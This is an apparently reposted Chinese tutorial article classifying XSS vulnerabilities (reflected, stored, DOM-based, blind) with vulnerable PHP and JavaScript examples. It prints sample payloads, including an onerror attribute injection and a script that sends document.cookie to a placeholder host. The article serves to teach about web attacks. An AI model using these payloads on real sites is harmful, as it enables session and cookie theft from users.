hello, $_GET['user']

";?> ,那么在访问时设置 /?user=

_xssdey">

当前位置:   article > 正文

XSS漏洞分类_xssdey

xssdey

反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:<?php echo "<p>hello, $_GET['user']</p>";?> ,那么在访问时设置 /?user=</p><script>alert("hack")</script><p> ,则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,通常在URL中构造,将恶意链接发送给目标用户。当用户访问该链接时候,会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS ,主要是GET类型且受到XSS Auditor、NoScript等防御手段的影响较大。

储存型XSS

储存型XSS相比反射型来说危害较大,此类xss不需要用户点击特定的url就能执行跨站脚本,攻击者事先将恶意JavaScript代码上传或存储漏洞服务器中,把攻击载荷存入服务器中,造成持久化的攻击。只要受害者浏览包括含此恶意的代码的页面就会执行恶意代码。常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。

反射型XSS与存储型XSS的区别

存储型和反射型相比,只是多了输入存储、输出取出的过程。
简单点说: 反射型是:输入–输出;
存储型是:输入–进入数据库*–取出数据库–输出。 这样一来,大家应该注意到以下差别:
反射型是:绝大部分情况下,输入在哪里,输出就在哪里。
存储型是:输入在 A 处进入数据库, 而输出则可能出现在其它任何用到数据的地方。
反射型是:输入大部分位于地址栏或来自 DOM 的某些属性,也会偶尔有数据在请求中(POST 类型)
存储型是:输入大部分来自 POST/GET 请求,常见于一些保存操作中。

反射性的xss通俗的来说就是你构造好的xss,发给受害者进行点击从而发起攻击

DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。


<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>
  • 1
  • 2

可能触发DOM型xss的属性

  • document.referer
  • window.name
  • location
  • innerHTML
  • documen.write

DOM型例子

例一


<head\>
<title\>DOM Based XSS Demo</title\>
<script\>
function xsstest()
{
    var str \= document.getElementById("input").value;
    document.getElementById("output").innerHTML \= "<img src='"+str+"'></img>";
}
</script\>
</head\>
<body\>
<div id\="output"\></div\>
<input type\="text" id\="input" size\=50 value\="" />
<input type\="button" value\="submit" onclick\="xsstest()" />
</body\>
</html\>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

输入 x' onerror='javascript:alert(/xss/) 即可触发。

例二
如图,我们在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中参数的值,再通过DOM方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。

Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上

XSS总结

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/150243
推荐阅读
相关标签
  

闽ICP备14008679号